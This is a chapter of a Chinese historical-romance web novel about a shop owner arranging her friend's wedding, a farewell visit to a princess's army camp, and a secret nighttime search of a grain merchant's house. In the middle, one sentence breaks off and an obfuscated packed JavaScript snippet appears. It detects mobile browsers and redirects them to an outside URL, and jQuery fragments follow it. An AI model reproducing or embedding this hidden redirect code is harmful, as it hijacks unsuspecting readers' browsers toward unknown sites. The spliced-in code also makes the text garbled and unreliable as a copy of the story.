几日过去,晏青竹也想通了,程霜既将这昏礼交在了她手上,她便好好的办,不让程霜有什么遗憾。
晏青竹又恢复了以往的架势,挑绸缎,设计婚服,选乐曲,一件挨着一件干。
这日,埋头苦干的晏青竹,在对蒲扇的样式的选择上,有些犯了难,所幸,便拿去让程霜亲自选。
她选了两个当下最时兴的,便想着拿去让程霜挑上一挑,于是,驱车来了宣乐坊。
宣乐坊的人大部分都认得她,无需通报,便引着她来了一间厢房,本欲推门进去,却听见了里面的争吵声,晏青竹让身旁的小厮先下去了,自己则在门口等着。
只听程寒费劲苦心的劝道,“程霜,爹娘的事,切莫再提了,只需好好跟朱闻楚过好日子就行,朱府旁的事,不要去管,朱闻楚是个好孩子。”
“可是兄长,如果不是为了爹娘的事,我宁愿终身不嫁。”
只听见“啪”的一声,巴掌打在了程霜的脸上,程寒打完也后悔了,想去看看她伤的如何。
刚要上前,便听程霜继续说道,“兄长,爹娘无故冤死,我怎能不管不顾,而去过我的好日子,而兄长你辛苦支撑这个家,让我享受着你为我编织的幸福,我实在难以从命。”
程霜起身,出了门,看到了外面的晏青竹,顺手拉着她,走出了乐坊。
两人走在路上,谁都没有开口,直到经过一家医馆,晏青竹拉着她走了进去,让人给她上了药。
良久,程霜才开口,“晏姑娘,让你见笑了。”
晏青竹摇摇头,“程霜,不想嫁咱们就不嫁,你爹娘的事我们一起查,你们家的担子你也可以分担。”
“我们不是生来就是要嫁人的。”
程霜摇了摇头,“竹月,我和你不一样,我背负着爹娘的血海深仇,注定不能为自己而活,我得为哥哥而活,为爹娘而活,朱闻楚,我也必须嫁,谢谢你竹月,你不必担心我。”
晏青竹不知如何回答,只能在一旁陪着她,两人出了医馆,又在路上走了很久,一直到天色将黑,他们返回了宣乐坊。
便见程寒等在门口,程寒小心翼翼的走了过来,向程霜道歉,“小霜,是哥哥对不住你,不该打你,你打我吧,你骂我吧。”
程霜自然明白程寒的良苦用心,他希望只他一人深陷这泥沼就够了,希望他的妹妹能过自己的生活,可是,他不知道,被困在那天不只程寒一人。
程霜拉起程寒的手说道,“我明白。”
送程霜回了家,晏青竹才想起今日所来的目的,拿出身上装的蒲扇的样式,一个是以竹子为底面的绢面素锦,一个是万花齐放的由金线所织的扇面,晏青竹突然觉得不用她选了,她定是会选那凌冽的竹子。
晏青竹没有因为昨日的插曲,影响昏礼的筹办,还是精心准备着,可今日,又到访了一位重要的人,是朱闻楚。
朱家是京城有名的粮商,晏青竹早有所耳闻,只是未听闻有如此一位相貌堂堂的公子,晏青竹请他进来。
他没有坐下,而是直言道,“晏店主,阿霜是不是不愿与我成婚了。”他说的很从容,但晏青竹能看出他的落寞。”
晏青竹没有回答他的问题,而是问了他和程霜一样的问题,“朱公子,是真的喜欢程霜吗?”
朱闻楚听完这话,立即就举起了手,发誓道,“我这辈子非程霜不娶,可是如果阿霜不愿嫁我,我。我也尊重她的意愿。”
晏青竹从不相信男人的誓言,因为人都是会变的。她没说什么,提醒他道,“这你还是与程霜谈吧,我并不能帮你什么,只希望你能别忘记自己说过的话。”
朱闻楚刚一离开,晏青竹脑子中便闪过了什么,她到外面骑上了马,向宣乐坊奔去,到了宣乐坊门口,便拉着程霜离开,“跟我去个地方。”程霜不语,跟在身后。
晏青竹带着程霜,驾着马来到了京郊外的军营,军营门口站岗的士兵,熟悉晏青竹的脸,看到是她,便直接放了行。
在营帐外烤羊腿的定安,看到远处熟悉的身影,便走了过来,“晏竹月,现在骑马骑得很威风嘛,都能带小姑娘了。”
晏青竹下了马,给定安介绍道,“这是程霜。”也转头和程霜说,“这是定安公主。”
程霜赶忙下了马,请安道,“拜见公主殿下。”
定安大手一挥,“自在点,晏姑娘的朋友就是我的朋友。”定安引他们过来吃烤羊腿,驸马见状,便很识趣的走去了一边。
晏青竹看到后,不好意思道,“公主,我们是不是打扰到你了。”定安一手揽住她的肩膀,说道,“别想太多,我明天走了,我们可真的很久都见不到了,跟他以后相见的日子还多着呢,只怕我都要见烦了”
晏青竹笑了笑,顺势坐了下来,一起分吃着烤羊腿,谈着京城的传闻与八卦,一不注意,就过了闭城的时间。
定安索性让他们今晚宿在军营,说着便去营帐里拿来了酒,“今夜我们,不醉不归!”
一向守规矩的程霜,也喝了起来,就这样,几人吵吵闹闹,一直到天将放明才迟迟睡了过去。
晏青竹被冷风一吹,睁开了眼,身上还披着大概是公主给她盖的虎皮,定安看见她醒了便走了过来,“醒的挺早啊,你带来这个小姑娘是不是心情不好啊,我看她一整夜没睡,就坐在那台上吹冷风,你去找找她吧,我要准备拔营了。”
晏青竹向着程霜走去,突然想起了什么,又朝着定安跑了回去,“完了,公主,我忘记知会宏升了,他定是还在鹊桥仙等我。”
定安笑眯眯的回道,“无碍,我派人去找他。”
晏青竹走后,定安才对着副官讨论了起来,“我这侄子不简单啊,都叫鸿声了,看来不日,晏竹月夜能叫我一声姑姑了。”
副官笑着摇了摇头,“不见得,不过我觉得他们俩倒是很般配。”
定安拉起他的手,转身整顿军营去了。
晏青竹去找了程霜,看她呆呆的坐在那里,她便也跟着坐在了旁边,陪她一起,等她开口。
天从蒙蒙亮到太阳升空,程霜才缓缓道,“竹月,我知道你带我到这儿来的目的,我很羡慕公主,能活的这样自在,但是我也有我必须要做的事。”
“程霜,鹊桥仙永远为你敞开。”晏青竹知道她已经做了决定,她只是想让她看一看更远的风景。
定安收拾好了行装,全军也准备妥当,一声令下,便可开拔北境。晏青竹和程霜来到门口,给她送行。
眼看,天色不早,燕鸿声赶到的时候,定安都骑上马准备出发了,见他姗姗来迟,不免说道,“鸿声啊,你再不来,我都要走了,这次算你来迟了,下次见面,先罚三杯。”
燕鸿声自觉理亏,应下后,便对着副官说道,“照顾好她。”
定安吹了一声哨响,便骑着马离开了。
他们在远处看着大军的身影消失不见,才回了京城。
回城之后,晏青竹,没有歇着,五日后,便到了程霜出嫁的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203911|165557||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
日子,晏青竹作为她唯一的闺中密友,自是参加了昏礼全程,同时也是为了保证昏礼的万无一失。
好在,流程走到最后一步,都没什么差错。接下来,便是洞房花烛,闲杂人等便都退下了,晏青竹也是待到了此时才回的鹊桥仙,又一件事情告一段落,她便早早的上了床休息。
这等喜气洋洋的时刻,朱府的屋顶上还爬着四个身穿夜行衣的熟悉面孔,最外的魏伯宁拉下面罩,“不是我说,这昏礼不是晏竹月办的吗,怎么就不能光明正大的混进去,非要爬屋顶?”
四下鸦雀无声,无边挤眉弄眼的暗示着魏伯宁让他别说,魏伯宁仍旧是口无遮拦,“你身份暴露了?你们俩恩断义绝了?”
燕鸿声深吸了口气,回道,“闭嘴吧。”
看着下面朱闻楚进了婚房,四人便开始了行动,选在新婚之夜就是为了趁夜黑风高好办事。
朱家是京城最大的粮商,几乎所有的官粮都要经过他的手,可是之前定安却暗中和他说起粮草以次充好的事。
区区一个粮商还不敢如此行事,这其中想必和裴申脱不了干系,趁着仅今夜朱府热闹,便想着趁乱探探虚实,谁知晏青竹一直坐阵,可能是有了魏府那事的前车之鉴,这朱府的守卫比平日多了三倍不止,连一只苍蝇都别想飞进去。
他们四人便在这冷风中吹了两个时辰,等到晏青竹走了,撤走了守卫,才堪堪开始行动。
魏伯宁和王殊去了朱家老爷所住的院子,而无边和燕鸿声则在朱家两个儿子的院子里调查。
燕鸿声进了朱闻楚的书房,没翻到什么有价值的东西,反倒是看见了许多写给程霜的情诗,暗暗想着,这下晏竹月可以放心了。
就在这时,书房的门突然开了,来的不是朱闻楚,竟是朱家的大儿子—朱闻朝,燕鸿声躲在书架后面,看着他的动作,只见他走到一幅画面前,轻转桌子上的香炉,画的旁边出现了一个通道,在他进去之后,通道又关上了。
趁他进去之后,燕鸿声出了书房,翻出了朱府,在巷口,与他们三人汇合。他到时,他们三人就已经等在那里。
“最后一个才到,看来是有发现啊。”魏伯宁打趣他。
“不错,在朱闻楚书房有一暗道,但确实朱闻朝进去的,朱闻楚是否知道,那就不得而知了。”
“你们呢,有什么发现吗。”
王殊拿出了一张被火烧过的残页,递给了他,“朱家主母的房里找到的,能看出是和北境有关,具体的就看不出了。”
经此一探,朱府确有不可告人的秘密,可是否与裴申有关,还很难得知,燕鸿声觉得有必要知会晏竹月一声。毕竟,程霜也是她的好友。
便让他们先回去了,自己去了鹊桥仙。
燕鸿声没来的及注意时间,到了才发现,鹊桥仙不仅关了门,后院也都灭了灯,他也只好打道回府。
第二日一早,晏青竹刚开了门,便看到燕鸿声在外等着,“你怎么这么早,有事找我?”
燕鸿声随她进了门后,才说道,“朱家没那么简单,小心为上。”
晏青竹闻声便有些担心,还想多问几句,见燕鸿声神色不对,便说道“我知道了,我会提醒程霜的。”
燕鸿声话已带到,便打算离开了,临走时,又嘱咐晏青竹,“京城最近不太平,有要紧事就到魏府找他。”
晏青竹没多想,只是以为他还在担心裴申的事。
说曹操曹操到,燕鸿声刚走,裴申就找上了门。